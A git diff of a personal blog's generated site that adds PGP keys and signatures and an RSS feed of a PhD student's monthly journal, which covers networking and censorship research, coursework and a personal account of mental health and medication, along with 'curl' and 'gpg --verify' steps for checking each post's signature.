HtWJEnTy+4ya392qfzWSdKm+GJMkxPjyQeK/PhTwV+jmIfZ+8BUMyDN+WvSb8/B+
|
||||
BbV88HAtxPvloswPk/YhAcuutBq6SeZSePQuCGUqtuEJkw22rXjxy5edskrJAGNh
|
||||
cGhH5cfXa7AQhe4BKwCs4nNSiZryfUFtJ0q2FuWFg0b6gBzFMvWiDOAF+z7p0Uav
|
||||
jT4TeT1I0bclhWJIYb4tCqCd0USWXNbSt5P8DnbkVA5kZvxxSDXCeFUZNl9mvgc+
|
||||
PU65Ag0EZz2MVgEQAOGsXC1MrVeKCKFd3RVZHGy8WmcuMiN+iT3+/T1VcXUO7vGk
|
||||
GQIkpYmJnxJkgmJp2VsRTL+Ie/sScPg75UIyc/VsmUCsbEiiYNy/9/g9/8OAhqMV
|
||||
BYBEook6t2jnK1+2Qf71VlZNYVFHTbCDAhwkDTgd0xSPjB7Yp6OvywQhqv62ja2y
|
||||
FTQk0pGukuyGCCzwZx+uGykv3LluLbKwBqpfbvDHdptb2/etsTAra4kGV3qYbePI
|
||||
EreTHN8OcboDzsIs2cnphU0tdeZEUqmc5QHIGlCve/pieGnOp7ccWwfwQQAxaJh+
|
||||
2gcEwoyCWY8uRwDPrgIc/oqEkK5rGU1hfin7UPkl7Ow0EdEVxhQBSYLh3UhupZxS
|
||||
/4Dob0aTpR8rjlC0Wz8IPR5XJl9rdon4Cgi6W7XwVcuE1/1NVCraoRT2BQGTiwIm
|
||||
3ICHmQZmN1NiO211IyDDEI/eKHBAjm0Fn6D+LOvePUaKxmY6kAlpjnpHIOX98hPN
|
||||
0uvZUreefviiyheBOEUh9lln3uRaNlCqVrPoJV2vyx/hGyk9tjGA3vZpfSmDnOXy
|
||||
ukLpVX9SukT6W6jEjL5Wc2DH9BfY63vVvDWxODueWExJ6CIerZvkmWV/k/rQqsqY
|
||||
DAhRR0dixoRLy+7i5oaP8duOOnbubBDD9bO8b8GsrgtkNc8oAFdhrpTUlAG9ABEB
|
||||
AAGJAjYEGAEIACAWIQRVoqXehHkrrMbK7j+1iChQ4EyNKgUCZz2MVwIbDAAKCRC1
|
||||
iChQ4EyNKonED/4uixRWRcL+Uh9gj4s5bJ8WKYoQFZmaI/kc6DqT/9+d3nalYCzp
|
||||
l8H9TFyuNsOi0DEOwQXp/maBVsELZInbVrxiNb6F7jPNNjYSXAJViLarmxc0u0Th
|
||||
yujCN6cgZFqhxynkEV6+VqBIy7beeIDCIfinups6G94mSqG5CqwRDBCytF/P3XIG
|
||||
U6yOoPJUOgVsmc4wGT5k0EKSOlJ/lU4nQM5oCY5y6AbkampAPQpth07ucS7ld2aC
|
||||
N5xyaL/P8R4FOurGthF1zL9dDUl9xRcOuxobn+wJgy8/8wZ/X786/unHeH5Q/Vni
|
||||
hpxHrRUCI+4R2nJtA9LMcDH1MkPJW0gT2RBDnLJuQaVQhu374snFXv0mI52gYVEI
|
||||
4bipi0Mzc4YixSElgX0ZJWVB0Xsv4e18B/jfGYtjEF1v/fEOzy+qiBNke1LFfRrP
|
||||
akRHlREXU+d8LV2oWS52XPkHSruG7l30uocejjiIa1kLm6neeQ+uz9JmAiHw4pEV
|
||||
WWwlf4AVvy2kpk/TomFl83Nen/NOi7FzPw6N4VJe1fimfRRPetOx3jnZrLScYUWp
|
||||
G81NTYbFbQPXQb823dC2UJRxLiZxMhqAKj3J7nXJg2Krk8ahUmre7xFTY/wvepOQ
|
||||
uOF+1xz2LXDeGUiH9IXqrbfx+nWlznKYr86EHF++hTxlV6dr6iELr8XFEg==
|
||||
=mAs8
|
||||
-----END PGP PUBLIC KEY BLOCK-----
|
||||
1
public-clearnet/keys/iman-fpr.txt
Normal file
1
public-clearnet/keys/iman-fpr.txt
Normal file
|
|
@ -0,0 +1 @@
|
|||
55A2A5DE84792BACC6CAEE3FB5882850E04C8D2A
|
||||
2
public-clearnet/page/1/index.html
Normal file
2
public-clearnet/page/1/index.html
Normal file
|
|
@ -0,0 +1,2 @@
|
|||
<!doctype html><html lang=en><head><title>https://blog.alipour.eu/</title>
|
||||
<link rel=canonical href=https://blog.alipour.eu/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://blog.alipour.eu/"></head></html>
|
||||
44
public-clearnet/page/2/index.html
Normal file
44
public-clearnet/page/2/index.html
Normal file
File diff suppressed because one or more lines are too long
37
public-clearnet/page/3/index.html
Normal file
37
public-clearnet/page/3/index.html
Normal file
File diff suppressed because one or more lines are too long
30
public-clearnet/page/4/index.html
Normal file
30
public-clearnet/page/4/index.html
Normal file
File diff suppressed because one or more lines are too long
17
public-clearnet/phd_journey/Augest_2025.asc
Normal file
17
public-clearnet/phd_journey/Augest_2025.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qtEAP/jJPsM/ZN7fn/qwccVyJR8iJ
|
||||
kd3+ynK8KRAG9L64cQWg/Gt6cEGuhynz1eyDsQ5K9HCwxFXBYq4klilebhFFC5BI
|
||||
09s079JRn0HVUgC9hbhnE3SXnS72Dpnm2ibdwN2Il/qR6xCZvEGSozJzXf+ElrdR
|
||||
DxAR1xi550+tciYBRNA1LppTpJ8oq470ACN7ttOuUO8LLlZXtmRZxazTE3jwC2kT
|
||||
Ld969kfFAmlOa5pV6VhMehehvm5V4420J0DQAzU20gfiP4uovcW2ngeIn2zjNmd+
|
||||
R+rr2MsjgTWtkwybCeOcZLdSx7rwVKJ3plLd8/Ep7yWpae6YsOtsK5fc0FwSJepR
|
||||
SuDz1Lx4achDQt56JP5KT7lk8KNFV+ALdGvFbMBETqKqejUeLnBSD8+zXdfB24PB
|
||||
5sojXKVD/sJjYRnYYxsxS+kSK05UNynEfMLg8uJjVueOznrS+WX8jB4MzA4r53Iy
|
||||
PUtEcgexjalfwcWCjBL+M+W/ZaGGNkW4b6yZpyj40tgvknu/uK/B84YzqAj/xgpC
|
||||
9Orzo9F7AUZbJs2IjDkWewxw9j+1ZlamzJ3bC7Go2zvS2crEJo/AA8VXF5N4kNII
|
||||
5i3r2kam8ribVRePRfZ4ffY6UhAfreXiwNZaywU5oix5Ldr233UFrM82TbHCHHwJ
|
||||
T8htRg70csvp345a7ICN
|
||||
=LfUT
|
||||
-----END PGP SIGNATURE-----
|
||||
17
public-clearnet/phd_journey/October_2025.asc
Normal file
17
public-clearnet/phd_journey/October_2025.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBEYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qP5YQALFeatlfbAjyCorvxaH8dGGR
|
||||
0BE67tNRQeu74kZ5Qo9WCxKnvKvW7Hd8iTI7h4GYe0BcQ8GAYXF55gFS1McDJ6UF
|
||||
RPkDNxCTccmWbPtZWkDNJpoCMp4SIbIeb232NoLJG/YA5TK/+Nq1eRxNmOxGT2/u
|
||||
b39BkAcqruBwCEESYCq+PwGnm4FGAPnlK/nbx0vslmJJ5/KcPiBGUgO9tJWgZBqR
|
||||
43mexDQfayVS3IM7LunLQUsmAbqXJ/zRAtnZYpWyU3eEAt7oUyslMzNIpzp3nrRf
|
||||
4B58/qTuvBte0+I98b4/SEP1YP/r6tIfPeHBV/grcyP/n4F+iSFYqIf3tnHWm063
|
||||
8S6xgc6OlnH89y0VDxyuDiNE/BqZkSDYoGjLhBHdx+yuuouVhS8aFmhgH3VwChUW
|
||||
U9/3Wz/Zis0lZEck8vdkDEQ8s01THB20LBRjmfz0U187pAsz30sjs27erOcmLbjW
|
||||
1oZdzvoTT8I/kJV5RVgcvtK63sU2bBe/jcfS20c4W8fwN2MIp+s/3U2HiIYU1gSh
|
||||
pQi6tos80dgaVxVxeSIoQ+DAX6lowBGGl2VHPAzD9UuPs7vvGVIKyQMbZNj5BQpM
|
||||
wblk6hLv1zwt3XQZTBl26nbc+2GlxmHjv93h7XNOgixoif7nfKvsMCeAe7G3vz40
|
||||
qK/LRsLVGdwAMhytShnh
|
||||
=VoSE
|
||||
-----END PGP SIGNATURE-----
|
||||
17
public-clearnet/phd_journey/September_2025.asc
Normal file
17
public-clearnet/phd_journey/September_2025.asc
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp
|
||||
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qumYP/3zdbQK9g/VrkXPAQTJB2xhh
|
||||
ciE9JUIHwfDZ0tHbZKLBjfGHuV3lTSlPIuBc/hueGB9eUFKyXfGjZ7ULvgbL7hR3
|
||||
q2jbg71N0GKtI2qooY2P24fxTD4LeZTkIvldcguGdlqTz0q/n/GUITHPYLzc+Lon
|
||||
K+zkybPeJFUIakFhhSp+WEK+My7A4SZZR7lv3IC0lmeF1MqQiEjQUnifYq4VeOhx
|
||||
1x8ht4H/hru1HLkZ3G5oQ9fpZ2Xp8cDQZGrRnL/J+SxskyMgszixJTXlbATydIe5
|
||||
B4VF3bHuwrBZovcwq+A+RJ0EvtYLBIw99fG6u/3w7emMj2FMr9MWziMJ3bfSVylp
|
||||
0IMaLkyDCbGh439QkzDbxa9/x+nN9VmcfUzwgL40OfYEFw+8irgnE5m2pHZ4TBKS
|
||||
Qefvq3YnLmOxRKquf2auL360mUJ9EvM6d7FEzZHxamPTYTKd0VHEodZAPgb8D+yE
|
||||
Q/GkIROqgSfTWToE67LyHcTrnSm63Q8ovDL3azia6KS8btIwakFisbOfkcihe57K
|
||||
rktW+JPG++BFDznGs7WzwIjTtDV47TyijxHj3545Vy7sB3O1AawWXTQyorLUVMly
|
||||
ep2dajvhW5LypB54x8LLM8fUWGOPS+vSL9b8C0cFm4FDiUrGGH8lE6EYBzNJFDUF
|
||||
m6kVSUHkw4wiQ4x6wyJ5
|
||||
=vltM
|
||||
-----END PGP SIGNATURE-----
|
||||
35
public-clearnet/phd_journey/april_2026/index.html
Normal file
35
public-clearnet/phd_journey/april_2026/index.html
Normal file
File diff suppressed because one or more lines are too long
52
public-clearnet/phd_journey/augest_2025/index.html
Normal file
52
public-clearnet/phd_journey/augest_2025/index.html
Normal file
File diff suppressed because one or more lines are too long
31
public-clearnet/phd_journey/index.html
Normal file
31
public-clearnet/phd_journey/index.html
Normal file
File diff suppressed because one or more lines are too long
466
public-clearnet/phd_journey/index.xml
Normal file
466
public-clearnet/phd_journey/index.xml
Normal file
|
|
@ -0,0 +1,466 @@
|
|||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>PhD_journeys on AlipourIm journeys</title><link>https://blog.alipour.eu/phd_journey/</link><description>Recent content in PhD_journeys on AlipourIm journeys</description><generator>Hugo -- 0.146.0</generator><language>en</language><lastBuildDate>Tue, 23 Jun 2026 20:00:07 +0000</lastBuildDate><atom:link href="https://blog.alipour.eu/phd_journey/index.xml" rel="self" type="application/rss+xml"/><item><title>June 2026</title><link>https://blog.alipour.eu/phd_journey/june_2026/</link><pubDate>Tue, 23 Jun 2026 20:00:07 +0000</pubDate><guid>https://blog.alipour.eu/phd_journey/june_2026/</guid><description><p>Ok, it&rsquo;s been so so so long! I haven&rsquo;t been writing, once again, because I&rsquo;ve been too busy with fixing my life.
|
||||
Let me summerize these past many months:</p>
|
||||
<ul>
|
||||
<li>I finished my coursework for my prep phase</li>
|
||||
<li>I was added to a colleagues project and we submited it to IMC</li>
|
||||
<li>I submitted a poster to TMA, and I will be present it at the end of this month (June)</li>
|
||||
<li>I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&amp;P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.</li>
|
||||
<li>I am a tutor at data networks, and I think I&rsquo;m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="https://blog.alipour.eu/sources/PhD_journey/june_2026.md">Markdown</a> ·
|
||||
<a href="https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc">Signature (.asc)</a>
|
||||
</p></description><content:encoded><![CDATA[<p>Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life.
|
||||
Let me summerize these past many months:</p>
|
||||
<ul>
|
||||
<li>I finished my coursework for my prep phase</li>
|
||||
<li>I was added to a colleagues project and we submited it to IMC</li>
|
||||
<li>I submitted a poster to TMA, and I will be present it at the end of this month (June)</li>
|
||||
<li>I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.</li>
|
||||
<li>I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.</li>
|
||||
</ul>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/PhD_journey/june_2026.md">Markdown</a> ·
|
||||
<a href="/sources/PhD_journey/june_2026.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
|
||||
jSoC1Q//XZwEZ0kzJq6JgjAfq1YJSLYWHAgNE8lHsvw2JW+kwn4wPw3Zysg+a7ln
|
||||
R13un1k4hCKw2k2x/2hyciMcl9V2faPbqkL2c2A6urZPVGFfhSxWc4y2OdXaXdle
|
||||
m/P+jyj1Yl8QOWlWOhJ7nhKEkZfRkkgNp56bQL+IYa3T1xKdCkiiPEsXAGQKfKrw
|
||||
BoR8CKJkqyabxseM6fdVFIzGSZ3Bo6PYyDHArExjQ97FgS6nEHdklwF3bRuO8gkP
|
||||
eRLhedsKWd5LvLa347dusMOKbAHcQQQavQb2uyN/ZlcAz2y8MyfbdmnLNq0CjFMd
|
||||
MGug0h1+d4omYSw7aXlpHMfOWCbiAs5BEgDvV9vd+p/PXbH765VzTnuzeMmIlRlm
|
||||
eloSCjex5kxiUvQ3G14usmAbON799etujTIJh5Mj9ol9jXDyh0/k228GC4RNF5K5
|
||||
QEMPVoeGkte0CVM+C/PkK+QcGHxdasuZQEVTbCuN2qS6WxiFIpglsmagcoblO2+t
|
||||
zvDnk6ySTPrtiGlVqAZye1Pjhs7Xy3dq8VT+H2TUhZplgRpDXPlayUzPkZGvEcUr
|
||||
Mg03w3/uXCP8Q0ibQllSQioluUJ7l+oLaRZTly1tpZCCbWha11upK8ZKc03jMApM
|
||||
fQy/wpq+VFKZsB4clVAQoabPr+Q+JWAe0OOWcdrpp8FXlKfIkPc=
|
||||
=hIg9
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/june_2026.md.asc
|
||||
gpg --verify june_2026.md.asc june_2026.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>April '26</title><link>https://blog.alipour.eu/phd_journey/april_2026/</link><pubDate>Sun, 03 May 2026 03:26:09 +0000</pubDate><guid>https://blog.alipour.eu/phd_journey/april_2026/</guid><description><p>I know, I know. I&rsquo;ve been lacking updates. I&rsquo;m so so sorry. I will try to summerize what I&rsquo;ve been up tp in the past few months.</p>
|
||||
<p>Up until the middle of March, I&rsquo;ve been taking care of the last bits of coursework I had to do during my prep phase. And now I&rsquo;m done with that all together.</p>
|
||||
<p>I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn&rsquo;t know much about. Though no mail server for me unfortunately.</p></description><content:encoded><![CDATA[<p>I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.</p>
|
||||
<p>Up until the middle of March, I’ve been taking care of the last bits of coursework I had to do during my prep phase. And now I’m done with that all together.</p>
|
||||
<p>I took ML in cysec which was very much aligned to the type of research I do. They try to get around IDS, and I try to get around censorship setup which is pretty much the same idea. I learned so so incredibly much from the course. It was awesome! I then had a block seminar called Routerlab in which I just did very well. It was fun in the sense that we got to touch and use real hardware. We also did so much that I didn’t know much about. Though no mail server for me unfortunately.</p>
|
||||
<p>I was then approached by a colleague who’s research needed a bit of push to get to the IMC deadline, and we pushed “HARD”. We submitted the paper with so much chaos I would say. But we did it.</p>
|
||||
<p>Now I wonder, both my research projects that I’ve been working on feel like there are more advanced than what we submitted, then we am I not drafting papers for them?! I will talk to my advisor about this. :)</p>
|
||||
<p>I also kinda started a new project, or at least we have floated the idea of, which sounds exciting. I would be working with one of my favorite group members. A true nerd! :)</p>
|
||||
<p>I will try to be more consistant throughout May by providing updates. Please cross your fingers for me! :D</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/PhD_journey/April_2026.md">Markdown</a> ·
|
||||
<a href="/sources/PhD_journey/April_2026.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
|
||||
jSo5RA/6AuVU66S+Io6igMjGYrllC4bO4bWusSWwCUdbnqe7j1cewMBJwciI1O9y
|
||||
fCQGlzP//JW3MKhAfI6uJRKNlTCIpDjMmRiivu7nmZRJKCsomOmdmThNwddaJIQ/
|
||||
vnaalb9NgZB7xp6WtU/FUUuXEls6S8l0A+RNCQvo33+U+JiH5YbFUbXQkbjggTcP
|
||||
GGrA8JYXBQvIdHN6xAvGbLhuYnyc9KNayUOdp3FK6ecMzIhT1pZ/O/pE2J+kKRif
|
||||
vQyuWINpZZWxSV8+UMSmuwqBDvdVthWGezxS3/Kr3V/Y3OPJkfsv121hQkoyGhmM
|
||||
1CXfwtD6I9aUHiuQfC5PW/zKYyujhoQ8RDPjK6IQ5jcjSeAE16h0O9MYFtbbrJqq
|
||||
AhP8p+XIL9J0xuwLqsN1wHhnd1COo/fpa0q8P5YsFi+F+sQmIX1waNiM2Bc69ZBh
|
||||
S+DcTUF4MsSSWFFfrts7BuXZQDFWqfEavqvSPQ3BRl/6QHZXmWtKGMb6o+GZSxRI
|
||||
hTTy7SSjCVR5TwCIcTExOe6NxbSJhR/7RwPwbvfoLS3Tji7WmDOD6qeFZY9G8Tyw
|
||||
vr9LIXqyrjKcltjpj6UEtjy3+sXYPxw2XL0bdjlzdgg4afI7gJ9+b2QjHKYYYy8H
|
||||
DjdPpaWlQvkGOBkfM+11Cwn5Q7U5+VdY+Qil0Qc/g2Ksl77/nvQ=
|
||||
=Wtha
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/April_2026.md.asc
|
||||
gpg --verify April_2026.md.asc April_2026.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>November '25</title><link>https://blog.alipour.eu/phd_journey/november_2025/</link><pubDate>Sun, 30 Nov 2025 07:53:40 +0000</pubDate><guid>https://blog.alipour.eu/phd_journey/november_2025/</guid><description><h1 id="4th">4th</h1>
|
||||
<p>Again, let&rsquo;s setup some goals for the month.</p>
|
||||
<ul>
|
||||
<li>Literature review</li>
|
||||
<li>Keeping up with my coursework</li>
|
||||
<li>Working on my codebase</li>
|
||||
<li>Getting healthier diet and excercise-wise</li>
|
||||
</ul>
|
||||
<h1 id="30th">30th</h1>
|
||||
<p>I did a bit of literature review, it&rsquo;s still lacking unfortunately.</p>
|
||||
<p>Coursework is ok-ish. I&rsquo;ve been trying to work on assignements and understand them.</p>
|
||||
<p>I rewrote the whole codebase, now we have a modularized design that should be easier to add to.</p>
|
||||
<p>I&rsquo;ve been eating more and more healthy, excercise is still lacking. I&rsquo;ll get to that later.</p></description><content:encoded><![CDATA[<h1 id="4th">4th</h1>
|
||||
<p>Again, let’s setup some goals for the month.</p>
|
||||
<ul>
|
||||
<li>Literature review</li>
|
||||
<li>Keeping up with my coursework</li>
|
||||
<li>Working on my codebase</li>
|
||||
<li>Getting healthier diet and excercise-wise</li>
|
||||
</ul>
|
||||
<h1 id="30th">30th</h1>
|
||||
<p>I did a bit of literature review, it’s still lacking unfortunately.</p>
|
||||
<p>Coursework is ok-ish. I’ve been trying to work on assignements and understand them.</p>
|
||||
<p>I rewrote the whole codebase, now we have a modularized design that should be easier to add to.</p>
|
||||
<p>I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.</p>
|
||||
<hr>
|
||||
<div class="signature-block" style="margin-top:1rem">
|
||||
<p><strong>Downloads:</strong>
|
||||
<a href="/sources/PhD_journey/November_2025.md">Markdown</a> ·
|
||||
<a href="/sources/PhD_journey/November_2025.md.asc">Signature (.asc)</a>
|
||||
</p><details class="signature">
|
||||
<summary>View OpenPGP signature</summary>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
|
||||
jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
|
||||
HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
|
||||
A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
|
||||
+w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
|
||||
j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
|
||||
CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
|
||||
mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
|
||||
CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
|
||||
P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
|
||||
Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
|
||||
1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
|
||||
=F8i0
|
||||
-----END PGP SIGNATURE-----
|
||||
</pre>
|
||||
</details><p><em>Verify locally:</em></p>
|
||||
<pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md
|
||||
curl -fSLO https://blog.alipour.eu/sources/PhD_journey/November_2025.md.asc
|
||||
gpg --verify November_2025.md.asc November_2025.md
|
||||
</pre>
|
||||
</div>
|
||||
|
||||
|
||||
]]></content:encoded></item><item><title>October '25</title><link>https://blog.alipour.eu/phd_journey/october_2025/</link><pubDate>Fri, 31 Oct 2025 08:40:43 +0000</pubDate><guid>https://blog.alipour.eu/phd_journey/october_2025/</guid><description><h1 id="1st">1st</h1>
|
||||
<p>Ok, let&rsquo;s start the month by declareing some goals and agendas.</p>
|
||||
<p>What do I want to do this month?</p>
|
||||
<ul>
|
||||
<li>Finish previous semester.</li>
|
||||
<li>Pick the last of the course work for my prep phase.</li>
|
||||
<li>Finalize the CoNEXT student workshop paper.</li>
|
||||
<li>Finish my second RIL.</li>
|
||||
<li>Start my 3rd and last RIL.</li>
|
||||
<li>Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?</li>
|
||||
<li>More literature review, persumabely all of FOCI related papers this month.</li>
|
||||
<li>Work on my codebase:
|
||||
<ol>
|
||||
<li>Do code cleaning</li>
|
||||
<li>Add comments for code</li>
|
||||
<li>Start working on ICMP stuff</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>More socializing! :-)</li>
|
||||
<li>A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.</li>
|
||||
<li>Enhance your routines and add exercise to it please!</li>
|
||||
</ul>
|
||||
<p>Alright. Now that the goals are set, let&rsquo;s start the month strong!
|
||||
My last exam for pervious semester will be on October 7th.
|
||||
I have done 74 ECTS, another 6 will be my last RIL.
|
||||
If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase.
|
||||
I then just need to do my QE for which I should submit my first paper for which I&rsquo;m doing work!</p></description><content:encoded><![CDATA[<h1 id="1st">1st</h1>
|
||||
<p>Ok, let’s start the month by declareing some goals and agendas.</p>
|
||||
<p>What do I want to do this month?</p>
|
||||
<ul>
|
||||
<li>Finish previous semester.</li>
|
||||
<li>Pick the last of the course work for my prep phase.</li>
|
||||
<li>Finalize the CoNEXT student workshop paper.</li>
|
||||
<li>Finish my second RIL.</li>
|
||||
<li>Start my 3rd and last RIL.</li>
|
||||
<li>Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?</li>
|
||||
<li>More literature review, persumabely all of FOCI related papers this month.</li>
|
||||
<li>Work on my codebase:
|
||||
<ol>
|
||||
<li>Do code cleaning</li>
|
||||
<li>Add comments for code</li>
|
||||
<li>Start working on ICMP stuff</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>More socializing! :-)</li>
|
||||
<li>A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.</li>
|
||||
<li>Enhance your routines and add exercise to it please!</li>
|
||||
</ul>
|
||||
<p>Alright. Now that the goals are set, let’s start the month strong!
|
||||
My last exam for pervious semester will be on October 7th.
|
||||
I have done 74 ECTS, another 6 will be my last RIL.
|
||||
If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase.
|
||||
I then just need to do my QE for which I should submit my first paper for which I’m doing work!</p>
|
||||
<p>I have started to take SSRIs again.
|
||||
I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication.
|
||||
I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI.
|
||||
After being all happy and things working very well, we started to cut the last piece of the puzzle.
|
||||
We agreed to reduce the dosage by 0.25% of the max and wait for one month.
|
||||
Things were going really well for the first two and a half month, and then it happened.
|
||||
The catastrophe that put me in my worst mental and physicall position happened to me.
|
||||
It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends.
|
||||
It’s so sad that things happened the way they did.
|
||||
I never really fully recovered.
|
||||
But… time has passed.
|
||||
Almost 8 months now.
|
||||
I should not have continued to cut my medication, but I did.
|
||||
I damaged myself badly by being stubborn.
|
||||
My brother who knew everything insisted that I should continue the usage, but I didn’t listen.
|
||||
My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time.
|
||||
I was scared of my own shadow for more than one month.
|
||||
I eventually started to go out, but seeing some certain people made me uncomfortable.
|
||||
This is another thing I haven’t been able to figure out.
|
||||
In the end, I just endured pain, a lot of pain.
|
||||
I’m glad I didn’t break, but I do think most people would’ve.
|
||||
To deal with this pain, I decided to take many courses.
|
||||
Cure pain with more pain.
|
||||
What a fool I was.
|
||||
I just tore myself up mentally and added much more unneeded stress.</p>
|
||||
<p>Did I mention I didn’t show up in office for 6 weeks?
|
||||
And that when I came back I was hit again with things I didn’t understand?
|
||||
Sometimes in life shit happens, but this was a whole new level.
|
||||
I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly.
|
||||
I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.</p>
|
||||
<h1 id="3rd">3rd</h1>
|
||||
<p>Today is the German unity day, and we have a long weekend ahead!
|
||||
Other than that, last night was one of the most fantabolous days of my life.
|
||||
I’m feeling more content and secure.
|
||||
I’m feeling true happiness.
|
||||
I don’t know how much the SSRI is affecting me, but I know one thing for sure.
|
||||
I’m just like I used to be 9 months ago.
|
||||
Just as jolly, positive, and feeling like I’m on top of the world.
|
||||
Thinking about it a bit more, I do think I’m being a bit less passionate about my work.
|
||||
What could be the reason? Different priorities? Nah. I really love my research and care about it.
|
||||
I think it’s just that there is no pressure on me, and no deadline.
|
